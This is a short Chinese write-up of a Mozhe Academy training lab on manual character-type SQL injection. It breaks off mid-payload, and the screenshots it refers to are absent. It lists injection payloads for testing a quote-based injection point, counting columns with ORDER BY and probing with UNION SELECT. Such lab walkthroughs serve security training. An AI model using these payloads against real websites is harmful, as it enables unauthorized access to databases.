墨者学院SQL手动注入（字符型）

点开环境后，点击这里：
会出现：
从题目或者从网址看到只是一个字符型的注入。首先，我们要判断是否存在判断点
加 ’ and 1=1%23正常.(%23就相当于#，但用#的话结束不了所以就用%23）

存在注入点，然后判断字段数：
判断字段数。order by 5%23报错
order by 4%23，没事：
输入：id=1’ union select 1,2,3,4%23

输入：union select 1，